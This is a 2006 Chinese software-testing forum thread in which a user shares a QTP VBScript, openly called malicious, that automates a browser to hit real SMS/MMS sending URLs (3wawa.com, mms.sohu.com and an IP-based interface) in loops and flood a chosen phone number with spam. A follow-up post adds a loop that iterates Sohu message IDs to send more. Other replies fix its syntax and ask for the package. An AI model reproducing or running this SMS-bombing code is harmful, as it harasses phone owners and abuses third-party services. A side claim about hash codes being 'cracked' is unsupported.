我用QTP编写的一个恶意脚本－呵呵，仅供学习之用

yuandjing

大家好，因为报了考QTP的CPE认证，所以最近在看QTP，今天花了一下午加晚上的时间写出来并修改了这段恶意脚本         对了，不是说月底考试吗？怎么我还没接到通知？？？？哪位DX知道的话告诉我
这段脚本执行起来的时候会往指定的手机发送大量的垃圾短消息，呵呵，仅供学习用，别故意恶搞人家啊，出了事我可不负责哦，我已经测试过了，我自己收到了好多垃圾消息啊
注意：
1.对象库自己加
2.要用 遨游 浏览器
程序如下：


SystemUtil.Run "D:\Program Files\Maxthon\Maxthon.exe","","d:\Program Files\Maxthon","open"       '打开遨游

Window("Maxthon Start Page").WinTab("SysTabControl32").DblClick 57,15                                               '关闭主页

Dim num,i
num=139xxxxxxxx
Dim temp1,temp2,temp3,tmp
temp1 = "http://a.3wawa.com/s/send.aspx?a=D501727CAD13C24071D6415CE6A1AD379EC7948505369AA0&id=13025&mobile="&num
temp2 = "http://mms.sohu.com/send/mosendit.combine.php?sendtype=1&UserNum="&num&"&id=141339&ref=undefined&ztid=&pid=&ToNum="&num&"&PHONE=2507&Content="
temp3 = "http://219.235.227.22/fxunion/interface/submit.php?usernumber="&num&"&mysmsid=10019&phone_name=标准品牌&phone_type=135&doCheck=1&picid=4594&type=2&path=http://img.mms.sohu.com/mms/1660/33/8533/4f3fc92d.mid&name=阳光总在风雨后&subid=&_show_page=1&product_id=1&operator_id=1&isnewad="

'msgbox temp1
'msgbox temp2
'msgbox temp3


'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用temp1轰炸
                'Window("Maxthon Start Page_2").WinEdit("Edit").Set temp1
                'Window("Maxthon Start Page_2").WinEdit("Edit").Type  micReturn
                'wait(15)
                'Dialog("Microsoft Internet Explorer").WinButton("确定").Click
                'Window("三娃娃娱乐").WinTab("SysTabControl32").DblClick 77,13
               
i= (13030-13020)*2
msgbox "共轰炸"&i&"次"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''用tmp循环轰炸
For j=13020 to 13030
                tmp = "http://a.3wawa.com/s/send.aspx?a=D501727CAD13C24071D6415CE6A1AD379EC7948505369AA0&id="&j&"&mobile="&num
                Window("Maxthon Start Page_2").WinEdit("Edit").Set tmp
                Window("Maxthon Start Page_2").WinEdit("Edit").Type  micReturn
                wait(15)
                Dialog("Microsoft Internet Explorer").WinButton("确定").Click
                Window("三娃娃娱乐").WinTab("SysTabControl32").DblClick 77,13

                If j=13020 or 13022or 13024 or 13026 or 13028 Then
                 '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                '''''''''''用temp2轰炸
                                Window("Maxthon Start Page_2").WinEdit("Edit").Set temp2
                                Window("Maxthon Start Page_2").WinEdit("Edit").Type  micReturn
                                wait(15)
                                Window("彩信发送").WinTab("SysTabControl32").Select "彩信发送"
                                Window("彩信发送").WinTab("SysTabControl32").DblClick 74,12

                                ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
                                '''''''''''用temp3轰炸
                                Window("Maxthon Start Page_2").WinEdit("Edit").Set temp3
                                Window("Maxthon Start Page_2").WinEdit("Edit").Type  micReturn
                                wait(15)
                                Window("铃声图片下载").WinTab("SysTabControl32").Select "铃声图片下载"
                                Window("铃声图片下载").WinTab("SysTabControl32").DblClick 69,13         
                End If
Next

Window("Maxthon Start Page_2").Close             '关闭遨游

程序还是挺简单的，大家还是看得懂的吧
我遇到一些问题想求达人解答：
If j=13020 or 13022or 13024 or 13026 or 13028 Then
这句话我本来想写成 if j%2=0 then...
但是%是C的语法，在VB里我该怎么表达？

lyscser

厉害
看来你很有做坏事的前途
嘿嘿

walker1020

楼主是“歪才”！ 哈哈！ 呵呵！嘻嘻！

QA_BAY

楼主很有头脑吗?(坏主意一定多多)

sinpa

原帖由 yuandjing 于 2006-8-27 21:50 发表
大家好，因为报了考QTP的CPE认证，所以最近在看QTP，今天花了一下午加晚上的时间写出来并修改了这段恶意脚本         对了，不是说月底考试吗？怎么我还没接到通知？？？？哪位DX知道的话告诉我
这段脚本执行起来 ...

我想你的那个小问题是否这样啊
If  j mod 2 = 0 Then

End If

yuandjing

哦，谢谢sinpa 了，我以前没学过VB，对语法还不太好，谢啦

yuandjing

我今天又针对搜狐的漏洞写了一段脚本
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''用搜狐漏洞连续炸
For sohu=100477 to 100487
                temp = "http://mms.sohu.com/send/mosendit.combine.php?sendtype=1&UserNum="&num&"&id="&sohu&"&ref=undefined&ztid=&pid=&ToNum=13919119191&PHONE=2507&Content="
                   Window("Maxthon Start Page_2").WinEdit("Edit").Set temp
                Window("Maxthon Start Page_2").WinEdit("Edit").Type  micReturn
                wait(7)
                Window("彩信发送").WinTab("SysTabControl32").Select "彩信发送"
                Window("彩信发送").WinTab("SysTabControl32").DblClick 74,12               
Next

只要吧“sohu”的数值改一改，想炸多少就炸多少，哈哈，不过经研究发现最好把wait的值可以再改大一点

yuandjing

哦，sorry
temp = "http://mms.sohu.com/send/mosendit.combine.php?sendtype=1&UserNum="&num&"&id="&sohu&"&ref=undefined&ztid=&pid=&ToNum="&num&"&PHONE=2507&Content="

xulei8823873

其实这里只是用了QTP能自动执行的原理而已,我想啊,估计一些密码破译软件也是用的是qtp自动执行的原理．不停的用反复而已

guyu_susa

应该是用mod

QA_BAY

原帖由 xulei8823873 于 2006-8-28 11:11 发表
其实这里只是用了QTP能自动执行的原理而已,我想啊,估计一些密码破译软件也是用的是qtp自动执行的原理．不停的用反复而已

密码破译软件没有那么简单,有时间找本密码学看看.挺有意思的!

yuandjing

原帖由 QA_BAY 于 2006-8-28 11:57 发表

密码破译软件没有那么简单,有时间找本密码学看看.挺有意思的!

对啊,上次我们国家的大学生把美国的哈希码也破译了,厉害啊

walker1020

原帖由 yuandjing 于 2006-8-28 21:13 发表

对啊,上次我们国家的大学生把美国的哈希码也破译了,厉害啊

我怎么不知道？请问关于这则消息在什么网站上有介绍？ 我用Google搜索怎么没有找到？能否告诉我一个这则消息的网址？ 谢谢！

liuliu022004

我想试试这个程序，可是总出现这个错误 。帮忙看看什么问题。
我已经把Maxthon Start Page和SysTabControl32 加到Object Repository.

liuliu022004

好难啊，总是出问题，还得学习语言。高手们给一些你们录制好的看看吧  ：P

yuandjing

原帖由 walker1020 于 2006-8-29 10:08 发表


我怎么不知道？请问关于这则消息在什么网站上有介绍？ 我用Google搜索怎么没有找到？能否告诉我一个这则消息的网址？ 谢谢！

我记得是去年还是前年的事吧，是南方的哪个大学的研究生团队破解的

yuandjing

原帖由 liuliu022004 于 2006-8-29 17:23 发表
我想试试这个程序，可是总出现这个错误 。帮忙看看什么问题。
我已经把Maxthon Start Page和SysTabControl32 加到Object Repository.

我把整个QTP包都上传上来试试

yuandjing

原帖由 liuliu022004 于 2006-8-29 17:26 发表
好难啊，总是出问题，还得学习语言。高手们给一些你们录制好的看看吧  ：P

你解压后直接用QTP打开就可以了，如果你的遨游不是装在d:\program files下的话你改一下代码里的程序路径就可以了
呵呵，你可以先拿自己的手机试试看吧
把别人炸死了我可不负责哦

唉，源码2.48M，大于2M了，传不上来，你发个邮箱吧，我有空发给你

[ 本帖最后由 yuandjing 于 2006-8-29 23:01 编辑 ]

walker1020

你把源码 用 WinRAR 分成几个部分压缩后 传上来吧。这样别人也能看到你的源码。

liuliu022004

呵呵，我也不敢用别人的手机试，怕阿。
还有一个问题，run时总是会连IE一起打开，有没有解决办法？

liuliu022004@163.com